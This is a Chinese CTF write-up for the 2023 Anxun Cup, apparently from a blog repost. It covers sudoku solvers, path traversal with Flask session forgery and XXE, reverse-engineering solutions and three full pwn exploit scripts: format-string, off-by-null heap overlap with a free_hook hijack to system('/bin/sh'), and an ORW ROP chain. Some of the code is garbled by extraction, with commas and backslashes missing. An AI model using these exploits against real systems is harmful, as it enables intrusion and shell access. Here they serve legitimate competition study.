2023年安洵杯Writeup

admin 2023年6月11日21:26:01评论105 views1字数 26068阅读86分53秒阅读模式
2023年安洵杯Writeup

Misc

sudoku_easy

直接找了网上大佬写好的解数独的脚本,直接套用

class SudoKu():
    def __init__(self, sudo_ku_data):
        if not isinstance(sudo_ku_data, list):
            raise TypeError(f'sudo_ku_data params must a list, but {sudo_ku_data} is a {type(sudo_ku_data)}')

        if len(sudo_ku_data) != 9 or len(sudo_ku_data[0]) != 9:
            raise TypeError(
                f'sudo_ku_data params must a 9*9 list, but {sudo_ku_data} is a {len(sudo_ku_data)}*{len(sudo_ku_data[0])} list')

        self.sudo_ku = sudo_ku_data
        # 存放每一行已有的数据
        self.every_row_data = {}
        # 每一列已有的数字
        self.every_column_data = {}
        # 每一个3*3有的数字
        self.every_three_to_three_data = {}
        # 每一个空缺的位置
        self.vacant_position = []
        # 每一个空缺位置尝试了的数字
        self.every_vacant_position_tried_values = {}

        # 初始化数据
        self._init()

    def _add_row_data(self, row, value):
        '''
        初始化的时候
        添加数据到self.every_row_data中
        :param row:
        :param value:
        :return:
        '''

        if row not in self.every_row_data:
            self.every_row_data[row] = set()

        if value in self.every_row_data[row]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_row_data[row].add(value)

    def _add_column_data(self, column, value):
        '''
        初始化的时候
        添加数据到self.every_column_data中
        :param column:
        :param value:
        :return:
        '''

        if column not in self.every_column_data:
            self.every_column_data[column] = set()

        if value in self.every_column_data[column]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_column_data[column].add(value)

    def _get_three_to_three_key(self, row, column):
        '''
        得到每一个3*3的key
        :param row:
        :param column:
        :return:
        '''

        if row in [012]:
            if column in [012]:
                key = 1
            elif column in [345]:
                key = 2
            else:
                key = 3
        elif row in [345]:
            if column in [012]:
                key = 4
            elif column in [345]:
                key = 5
            else:
                key = 6
        else:
            if column in [012]:
                key = 7
            elif column in [345]:
                key = 8
            else:
                key = 9

        return key

    def _add_three_to_three_data(self, row, column, value):
        '''
        初始化的时候
        添加数据到self.every_three_to_three_data中
        :param row:
        :param column:
        :param value:
        :return:
        '''

        key = self._get_three_to_three_key(row, column)

        if key not in self.every_three_to_three_data:
            self.every_three_to_three_data[key] = set()

        self.every_three_to_three_data[key].add(value)

    def _init(self):
        '''
        根据传入的数独,初始化数据
        :return:
        '''

        for row, row_datas in enumerate(self.sudo_ku):
            for column, value in enumerate(row_datas):
                if value == '':
                    self.vacant_position.append((row, column))
                else:
                    self._add_row_data(row, value)
                    self._add_column_data(column, value)
                    self._add_three_to_three_data(row, column, value)

    def _judge_value_is_legal(self, row, column, value):
        '''
        判断方放置的数据是否合法
        :param row:
        :param column:
        :param value:
        :return:
        '''


        # value是否存在这一行数据中
        if value in self.every_row_data[row]:
            return False
        # value是否存在这一列数据中
        if value in self.every_column_data[column]:
            return False

        # value是否存在这个3*3的宫内
        key = self._get_three_to_three_key(row, column)
        if value in self.every_three_to_three_data[key]:
            return False

        return True

    def _calculate(self, vacant_position):
        '''
        计算,开始对数独进行放置值
        :param vacant_position:
        :return:
        '''

        # 得到当前位置
        row, column = vacant_position
        values = set(range(110))

        # 对当前为位置创建一个唯一key,用来存放当前位置已经尝试了的数据
        key = str(row) + str(column)
        # 如果这个key存在,就对values进行取差集,因为两个都是集合(set),直接使用-就行了
        if key in self.every_vacant_position_tried_values:
            values = values - self.every_vacant_position_tried_values[key]
        # 如果这个key不存在,就创建一个空的集合
        else:
            self.every_vacant_position_tried_values[key] = set()

        for value in values:
            # 对当前数据添加到当前位置尝试过的的数据中
            self.every_vacant_position_tried_values[key].add(value)
            # 如果当前value合法,可以放置
            if self._judge_value_is_legal(row, column, value):
                # print(f'set {vacant_position} value is {value}')
                # 更新 判断数据合法时 需要使用到的数据
                self.every_column_data[column].add(value)
                self.every_row_data[row].add(value)
                key = self._get_three_to_three_key(row, column)
                self.every_three_to_three_data[key].add(value)

                # 修改这个位置的值为value
                self.sudo_ku[row][column] = value
                # 返回True 和填充的 value
                return True, value

        return FalseNone

    def _backtrack(self, current_vacant_position, previous_vacant_position, previous_value):
        '''
        回溯
        :param current_vacant_position: 当前尝试失败的位置
        :param previous_vacant_position: 上一次成功的位置
        :param previous_value:上一次成功的值
        :return:
        '''

        # print(f"run backtracking... value is {previous_value},vacant position is {previous_vacant_position}")
        row, column = previous_vacant_position
        # 对上一次成功的值从需要用到的判断的数据中移除
        self.every_column_data[column].remove(previous_value)
        self.every_row_data[row].remove(previous_value)

        key = self._get_three_to_three_key(row, column)
        self.every_three_to_three_data[key].remove(previous_value)

        # 并且上一次改变的的值变回去
        self.sudo_ku[row][column] = ''

        # 对当前尝试失败的位置已经城市失败的的值进行删除,因为回溯了,所以下一次进来需要重新判断值
        current_row, current_column = current_vacant_position
        key = str(current_row) + str(current_column)
        self.every_vacant_position_tried_values.pop(key)

    def get_result(self):
        '''
        得到计算之后的数独
        :return:
        '''

        # 空缺位置的长度
        length = len(self.vacant_position)
        # 空缺位置的下标
        index = 0

        # 存放已经尝试了的数据
        tried_values = []
        # 如果index小于length,说明还没有计算完
        while index < length:
            # 得到一个空缺位置
            vacant_position = self.vacant_position[index]

            # 计入计算函数,返回是否成功,如果成功,value为成功 的值,如果失败,value为None
            is_success, value = self._calculate(vacant_position)
            # 如果成功,将value放在tried_values列表里面,因为列表是有序的.
            # index+1 对下一个位置进行尝试
            if is_success:
                tried_values.append(value)
                index += 1
            # 失败,进行回溯,并且index-1,返回上一次的空缺位置,我们需要传入当前失败的位置 和 上一次成功的位置和值
            else:
                self._backtrack(vacant_position, self.vacant_position[index - 1], tried_values.pop())
                index -= 1

            # 如果index<0 了 说明这个数独是无效的
            if index < 0:
                raise ValueError(f'{self.sudo_ku} is a invalid sudo ku')

        # 打印计算之后的数独
        self.show_sudo_ku()
        return self.sudo_ku

    def show_sudo_ku(self):
        '''
        显示数独
        :return:
        '''

        for row in self.sudo_ku:
            for b in row:
                print(str(b), end="")
            print()
            # print(row)    # 原本


##################################################
#  用来判断最后计算的数独是否合法,和计算没有关系     #
##################################################

def judge_value_is_legal(row, column, value, sudo_ku):
    # column
    for i in range(09):
        if row == i:
            continue
        if value == sudo_ku[i][column]:
            return False

    # row
    for i in range(09):
        if column == i:
            continue
        if value == sudo_ku[row][i]:
            return False

    # three_to_three
    for i in range(row // 3 * 3, row // 3 * 3 + 3):
        for j in range(column // 3 * 3, column // 3 * 3 + 3):
            if i == row and j == column:
                continue
            if value == sudo_ku[i][j]:
                return False

    return True


def judge_sudo_ku_is_legal(sudo_ku):
    for row, row_values in enumerate(sudo_ku):
        for column, value in enumerate(row_values):
            if not judge_value_is_legal(row, column, value, sudo_ku):
                return False
    return True


if __name__ == '__main__':
    data = """450706200
200000048
000408060
085290006
602003950
700600830
500040680
900300100
821065073"""

    sudo1 = data.split('n')
    sudo_ku_data = [list(s) for s in sudo1]
    for i in sudo_ku_data:
        for b in range(len(i)):
            if i[b] != '0':
                i[b] = int(i[b])
            else:
                i[b] = ''

    # 得到计算好的数独
    sudo_ku = SudoKu(sudo_ku_data).get_result()

    # 判断最后生成的数独是否是有效的
    # print(judge_sudo_ku_is_legal(sudo_ku))

手动答题就好了,有500秒的时间,绰绰有余。

烦人的压缩包

打开压缩包要密码,爆破密码645321

2023年安洵杯Writeup

里面一张图片和文本,文本没什么用;图片隐藏一个压缩包,改成zip直接解压,报错不用管。

压缩包里面的flag.txt,复制十六进制丢去解密。

2023年安洵杯Writeup

Ook!解码

2023年安洵杯Writeup

sudoku_speedrun

也是数独题,只不过需要一步步交互式修改,没修改一个数字都需要走一步。

import telnetlib
import time
import re


# 数独计算解决者--GPT
def solve_sudoku(board):
    """
    Solve the Sudoku puzcontainle using backtracking algorithm.
    """


    def is_valid(row, col, num):
        """
        Check if the given number is valid at the given position.
        """

        # Check row
        for i in range(9):
            if board[row][i] == num:
                return False
        # Check column
        for i in range(9):
            if board[i][col] == num:
                return False
        # Check 3x3 box
        box_row = (row // 3) * 3
        box_col = (col // 3) * 3
        for i in range(box_row, box_row + 3):
            for j in range(box_col, box_col + 3):
                if board[i][j] == num:
                    return False
        return True

    def backtrack():
        """
        Backtracking algorithm to solve the Sudoku puzcontainle.
        """

        nonlocal solved
        for row in range(9):
            for col in range(9):
                if board[row][col] == 0:
                    for num in range(110):
                        if is_valid(row, col, num):
                            board[row][col] = num
                            backtrack()
                            if solved:
                                return
                            board[row][col] = 0
                    return
        solved = True

    # Initialize variables
    solved = False

    # Solve the Sudoku puzcontainle
    backtrack()

    return board


telnet = telnetlib.Telnet('47.108.165.60', port=34835)
telnet.write(b'1n'# 开始游戏
telnet.write(b'7n'# 选择难度
time.sleep(1)

contain = telnet.read_very_eager().decode('ascii'# 获取题目
# print(contain)
contain = re.sub(r'[0-9];[0-9][0-9]'"", contain) # 通过正则设置成指定格式
contain = re.sub(r''"", contain)
contain = re.sub(r'0m'"", contain)
contain = re.sub(r'm'"", contain)

with open('log.txt''w'as f:
    f.write(contain)
alls = re.compile(r'([0-9])')
s = alls.findall(contain)
x = s[-81:]
x = list(map(int, x))
l1, l2, l3, l4, l5, l6, l7, l8, l9 = x[0:9], x[9:18], x[18:27], x[27:36], x[36:45], x[45:54], x[54:63], x[63:72], x[72:81]

# Solve the Sudoku puzcontainle
board = [l1, l2, l3, l4, l5, l6, l7, l8, l9]
sudu_board = solve_sudoku(board) # 解决数独

# 回填
for row in sudu_board:
    print(row)
    for i in range(9):
        telnet.write(str(row[i]).encode('ascii') + b'n'# 每次向右写一个
        telnet.write(b'Dn')
    telnet.write(b'Sn'# 每写完一行就向下
telnet.write(b'Rn')

time.sleep(1)
print(telnet.read_very_eager().decode('ascii'))
telnet.write(b"exitn")

Web

CarelessPy

没什么发挥,水水水,解一下这题思路

是一个新的知识点

打开环境,可以发现有两个接口,一个是eval,另一个是login处,存在文件下载漏洞

构造Payload:

/download?file=../../../../../etc/passwd  下载成功

/download?file=../../../../../proc/1/environ 下载失败

构造去下载提示的start.sh

2023年安洵杯Writeup

得到文件内容

2023年安洵杯Writeup

继续构造下载pyc文件../../../../../../../app/__pycache__/part.cpython-311.pyc

将其进行反编译获取源码

2023年安洵杯Writeup

得到secret_key进行伪造登录login接口

python3 flask_session_3.py encode -s "o2takuXX_donot_like_ntr" -t "{'islogin':True}"
eyJpc2xvZ2luIjp0cnVlfQ.ZIRyRA.okjKxL2LmV5SlZOjFeYfbjs1p6k
2023年安洵杯Writeup

访问接口/th1s_1s_The_L4st_one,经过分析发现此处存在XXE漏洞,构造Payload获取flag

2023年安洵杯Writeup

Reverse

ez_cpp

通过字符搜索直接进到程序主逻辑。用户输入先是通过两个虚函数进行变换操作,然后再与sub_411177函数的操作结果进行逐字符异或,最后进行与密文的比较。

2023年安洵杯Writeup

直接动调,先找到密文,输入长度为32位的字符串。

2023年安洵杯Writeup

接着分析sub_411177函数,可以直接根据密文爆破出经过这个函数变化前的字符。

2023年安洵杯Writeup
def en3(a1, a2):
    v2 = 0
    v3 = 0
    if a2 > 0:
        v4 = a2 - 1
        while v3 < a2:
            bit = (a1 >> v3) & 1
            bit_pos = 1 << v4
            v2 |= bit * bit_pos
            v3 += 1
            v4 -= 1
    return v2 + 1

key = [0x220xA20x720xE60x520x8C0xF20xD4,
       0xA60x0A0x3C0x240xA60x9C0x860x24,
       0x420xD40x220xB60x140x420xCE0xAC,
       0x140x6A0x2C0x7C0xE40xE40xE40x1E]

for n in key:
    for b in range(255):
        if en3(b, 0x8) ^ 1 == n:
            print(chr(b), end="")
            
# DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x

接着往上走,dumpv18v19两个函数,都有花指令。

v19函数

int __thiscall start(_DWORD *this, _BYTE **input)
{
  _BYTE *v3; // ebx
  int v4; // esi
  int result; // eax
  int v6[32]; // [esp+Ch] [ebp-84h] BYREF

  sub_41142E(&unk_41F035);
  v3 = *input;
  v4 = 0;
  result = sub_411140(this[1], v6);
  if ( *v3 )
  {
    do
    {
      if ( v4 <= 16 )
      {
        if ( v4 >= 16 )
        {
          v3[v4] ^= 4u;
        }
        else
        {
          result = v6[v4];
          if ( result )
          {
            if ( !--result )
              v3[v4] ^= 9u;
          }
          else
          {
            v3[v4] -= 2;
          }
        }
      }
      else
      {
        result = v6[v4];
        if ( result )
        {
          if ( !--result )
            v3[v4] ^= 6u;
        }
        else
        {
          v3[v4] -= 5;
        }
      }
      ++v4;
    }
    while ( v3[v4] );
  }
  return result;
}

逆向第二次变换代码,计算出第一次变换后的结果

def en2(input):
    global v6
    r = []
    if input:
        for v4 in range(len(input)):
            v3 = ord(input[v4])
            if v4 < 16:
                if v4 >= 16:
                    r.append(v3 ^ 4)
                else:
                    result = v6[v4]
                    if result:
                        result -= 1
                        if not result:
                            r.append(v3 ^ 9)
                    else:
                        r.append(v3 + 2)
            else:
                result = v6[v4]
                if result:
                    result -= 1
                    if not result:
                        r.append(v3 ^ 6)
                else:
                    r.append(v3 + 5)

    return r

final = "DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x"

en2_flag = "".join([chr(i) for i in en2(final)])
print(en2_flag)
    
# FLPnL3F-lR5-l0h-G0Ir-Gu3-P9C!!!}

v18函数,这是一个ROT 13

int __thiscall start(_DWORD *thisint *input)
{
  int v3; // ecx
  int v4; // esi
  int i; // edx
  int result; // eax
  int v7; // ebx
  char v8; // cl

  sub_41142E(&unk_41F035);
  v4 = *input;
  if ( *(_BYTE *)(*input + 3) == 'a' )
    exit(0);
  for ( i = 0; i < 32; ++i )
  {
    LOBYTE(v3) = *(_BYTE *)(i + v4);
    result = v3 - 61;
    if ( (unsigned __int8)(v3 - 61) <= 0x3Eu )
    {
      result = (char)v3;
      v7 = (char)v3 + 13;
      if ( (char)v3 > this[1] )                 // 0x5A('Z')
      {
        if ( v7 <= this[2] )                    // 0x7A('z')
          v8 = v3 + 13;
        else
          v8 = v3 - 13;
        *(_BYTE *)(i + v4) = v8;
      }
      else
      {
        result = -13;
        if ( v7 <= this[1] )
          result = 13;
        LOBYTE(result) = v3 + result;
        *(_BYTE *)(i + v4) = result;
      }
    }
  }
  return result;
}

这里解密出来的flag有点奇怪,缝缝补补,最后得到正确flag

SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}

2023年安洵杯Writeup

babythread

直接进到main函数,可以看到用户输入传入了sub_41129E函数,最后与unk_41B018地址的数据进行了比较。

2023年安洵杯Writeup

进到sub_41129E函数,这个函数实现了两部分功能,先是对生成密钥,再是对用户输入进行RC4加密,最后返回加密后的密文。

2023年安洵杯Writeup

这里可以使用动调知道最后参与S盒制作的密钥是哪个,但是注意到Tls回调函数有个反调试IsDebuggerPresent(),需要浅浅绕过一下。

2023年安洵杯Writeup

获取密钥key

2023年安洵杯Writeup

逆向脚本

def KSA(key):
    key_length = len(key)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]
    return S


def PRGA(S):
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        yield K


def RC4(key):
    S = KSA(key)
    keystream = PRGA(S)
    return keystream


# 使用示例
if __name__ == '__main__':
    key = [0x010xE50xD50x400xC30xD50x760x360xFE0x660x2D0x050xC90xFB0x500xE7]
    Buf1 = [0xDE0x1C0x220x270x1D0xAE0xAD0x650xAD0xEF0x6E0x410x4C0x340x750xF10x160x500x500xD40x480x690x6D0x930x360x1C0x860x3B0xBB0xD00x4C0x91]

    # 解密
    plaintext2 = bytearray()
    keystream = RC4(key)
    for b in Buf1:
        plaintext2.append(b ^ next(keystream))  # 异或操作

    print(plaintext2)

# SYC{Th1s_is_@_EasY_3ncryptO!!!!}

PWN

harde_pwn

代码审计

main()

2023年安洵杯Writeup

fuxk_game()

2023年安洵杯Writeup

heap_fmt()

2023年安洵杯Writeup

思路

先通过这个fuxk_game(),我们可以覆盖到seed,所以也可以预测rand()的值,然后就可以进入到heap_fmt()函数,利用格式化字符串漏洞,修改printf的返回地址为one_gadget就可以getshell

exp:

from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
libc = ELF("./libc.so.6")
# libc = ELF("./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("47.108.165.60",45340)
    elf = ELF(name)

get_p("./harde_pwn")

guess_num = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]

p.sendafter("Welcome to a ctype game!",b"A"*28+p32(1))
for i in guess_num:
    p.sendlineafter("input",str(i))

# gdb.attach(p,"b *$rebase(0x14fb)")
# sleep(2)
p.sendafter("input your data ;)","%11$p+%15$p+")
p.recvuntil("0x")
libc.address = int(p.recvuntil("+")[:-1],16) - libc.sym['__libc_start_main'] + 0x30
realloc_hook = libc.sym['__realloc_hook']
one_gadget = 0xebcf5 + libc.address
print(hex(libc.address))
stack = int(p.recvuntil("+")[:-1],16)
stack_1 = stack - 0x140
stack = stack - 0x128
print(hex(stack))
# raw_input()
payload = "%" + str(stack & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str(stack_1 & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack+2) & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1>>16) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)

stack += 0x8
payload = "%" + str(stack & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1+2) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack+2) & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1>>16) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack+4) & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1>>32) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)

stack +=0x8
payload = "%" + str(stack & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1+4) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack+2) & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1>>16) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack+4) & 0xffff) + "c%15$hn"
p.sendafter("input your data ;)",payload)
payload = "%" + str((stack_1>>32) & 0xffff) + "c%45$hn"
p.sendafter("input your data ;)",payload)

payload = "%" + str(one_gadget & 0xffff) + "c%8$hn"
payload += "%" + str(0x10000-(one_gadget & 0xffff)+((one_gadget>>16)&0xffff)) + "c%9$hn"
payload += "%" + str(0x10000-((one_gadget>>16) & 0xffff)+((one_gadget>>32)&0xffff)) + "c%10$hn"
p.sendafter("input your data ;)",payload)

p.interactive()

注意远程的libc版本是libc-2.35.so,利用不了hook

pwnpwn

代码审计

main()

2023年安洵杯Writeup

sub_C60()

2023年安洵杯Writeup

该函数利用4个rand()%10,让我们猜4个数字

add()

2023年安洵杯Writeup

off by null漏洞

思路

利用time(0)是获取当前时间,我们可以利用这点对rand()的进行碰撞,有概率成功;然后利用off_by_null,实现堆重叠,然后劫持free_hook改为system,释放含有“/bin/shx00”便可以getshell

exp:

from pwn import*
from ctypes import *

context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
libc = ELF("./libc-2.31.so")
# libc = ELF("./libc-so.6")
libc_run = cdll.LoadLibrary('./libc-so.6')

"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("47.108.165.60",30770)
    elf = ELF(name)

def add(idx,size,content):
    p.sendlineafter("root@$",'1')
    p.sendlineafter("give me your index:",str(idx))
    p.sendlineafter("give me your size:",str(size))
    p.sendafter("give me your content:",content)

def edit(idx,content):
    p.sendlineafter("root@$",'3')
    p.sendlineafter("give me your index",str(idx))
    p.sendlineafter("give me your index",str(idx))
    p.sendafter("give me your content:",content)
    

def dele(idx):
    p.sendlineafter("root@$",'4')
    p.sendlineafter("give me your index:",str(idx))

def show(idx):
    p.sendlineafter("root@$",'2')
    p.sendlineafter("give me your index:",str(idx))

def login(name,passwd):
    p.sendlineafter("root@$",'5')
    p.sendafter("please input your username",name)
    p.sendafter("please input your passwd",passwd)

# p.recvuntil("menu")
# libc_run.srand(libc_run.time(0))
# num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  
libc_run.srand(libc_run.time(0)+10)
num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  

def pwn(num):

    p.sendlineafter("please input your number:",str(num))
    p.recvline()
    if not p.recvuntil("you win",timeout=0.1):
        exit(0)
    login("AAAAA","AA")

    add(0,0x440,"AAA")
    add(1,0x88,"AAA")
    add(2,0x440,"AAAA")
    add(3,0x60,"AAA")
    dele(0)
    dele(2)
    add(0,0x450,"AAAA")
    add(2,0x440,"AAAAAAAA")
    add(4,0x440,"AAAAAAAA")
    edit(4,"x70"*9)
    login("AAAAA","A"*100)
    show(4)
    libc.address = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00")) - 1008 - 0x10 - libc.sym['__malloc_hook']
    free_hook = libc.sym['__free_hook']
    print(hex(libc.address))
    login("AAAAAx00","AAAx00")
    edit(4,"A"*0xf+"+")
    login("AAAAA","A"*100)
    show(4)
    p.recvuntil("+")
    heap_addr = u64(p.recv(6).ljust(8,b"x00")) - 0x290
    print(hex(heap_addr))
    login("AAAAAx00","AAAx00")

    ptr = heap_addr + 0xc60 - 0x20
    target = heap_addr + 0x10c0 - 0x20
    edit(0,p64(target))
    # for i in range(5):
    #     dele(i)


    # add(7,0x80,"AAA")
    # add(8,0x70,"AAAA")
    # add(9,0x3f0,"AAAA")
    add(5,0x220,p64(0)+p64(0x441)+p64(ptr-0x18)+p64(ptr-0x10))
    add(6,0x218,"AAA")
    add(7,0x4f0,"AAAA")
    dele(6)
    add(6,0x218,b"A"*0x210+p64(0x440))
    dele(7)

    add(7,0x210,"AAAA")
    add(8,0x60,"AAAAA")

    dele(3)
    dele(6)
    login("AAAAAx00","AAAx00")

    edit(8,p64(free_hook))

    add(6,0x60,"/bin/shx00")
    add(3,0x60,p64(libc.sym['system']))
    dele(6)
# gdb.attach(p,"")
while True:
    try:
        get_p("./pwnpwn")
        pwn(num)
        p.interactive()
    except:
        p.close()
# get_p("./pwnpwn")
# pwn()
# p.interactive()

这里随机值一直碰撞不成功,撞了2个小时,只能说没有直接想到,我们可以直接time(0)+10,然后当我们碰撞运行,当时间变成time+10时,大概率就可以碰到,不行就多用几次

DE_CAT

代码审计

main()

2023年安洵杯Writeup

经典堆题

init_s()

2023年安洵杯Writeup

不用看就知道了,要orw

edit()

2023年安洵杯Writeup

又是off_by_null

思路

先利用large chunk,泄露出来libc和heap的地址,再利用off_by_null,进行unlink,实现堆重叠,然后往environ位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流

exp:

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
# libc = ELF("../libc/")
libc = ELF("./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("47.108.165.60",45244)
    elf = ELF(name)

def add(size,content):
    p.sendlineafter("input your car choice >> ","1")
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def edit(idx,content):
    p.sendlineafter("input your car choice >> ",'4')
    p.sendlineafter("idx:",str(idx))
    p.sendafter("content:",content)

def show(idx):
    p.sendlineafter("input your car choice >> ",'3')
    p.sendlineafter("idx:",str(idx))

def dele(idx):
    p.sendlineafter("input your car choice >> ",'2')
    p.sendlineafter("idx:",str(idx))

get_p("./CAT_DE")

add(0x440,"AAA")
add(0x88,"AAA")
add(0x440,"AAAA")
add(0x88,"AAA")
dele(0)
dele(2)
add(0x450,"AAAA")
add(0x440,"AAAAAAAA")
add(0x440,"AAAAAAAA")
show(4)
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00")) - 0x21a000 - 0xe0
envrion = libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(2)

heap_addr = u64(p.recv(8)) - 0x290
print(hex(heap_addr))

for i in range(7):
    add(0xf8,"AAA")

add(0x108,"AAA")
add(0xf0,"AAAA")
add(0x88,"AAA")

for i in range(7):
    dele(i+5)

target = heap_addr + 0x17c0
ptr = heap_addr + 0xc60
edit(0,p64(target))
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x100,b"x00") + p64(0x100)
edit(12,payload)
dele(13)

add(0xe8,"AAAA")
add(0xe8,"AAAA")

dele(5)
dele(6)
show(12)
p.recvuntil("xf1")
p.recv(7)
en_key = u64(p.recv(8))
print("en_key ===> " + hex(en_key))
key = u64(p.recv(8))
print("key ===> " + hex(key))
payload = p64(0)+p64(0xf1)+p64(en_key)+p64(key)
payload = payload.ljust(0xf0,b"x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
edit(12,payload)

add(0xe8,"AAAA")
add(0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))

add(0xd0,"A"*8)
show(7)
stack = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00")) - 0x140 - 8
print(hex(stack))
edit(6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))


pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx_r12 = 0x000000000011f497 + libc.address
read_addr = libc.sym['read']
open_addr = libc.sym['open']
write_addr = libc.sym['write']

orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)

add(0xd0,b"./flag".ljust(8,b"x00")+orw)
# gdb.attach(p,"b *free")

p.interactive()

注意也是libc-2.35,利用不了hook

原文始发于微信公众号(ACT Team):2023年安洵杯Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月11日21:26:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023年安洵杯Writeuphttps://cn-sec.com/archives/1796814.html

发表评论

匿名网友 填写信息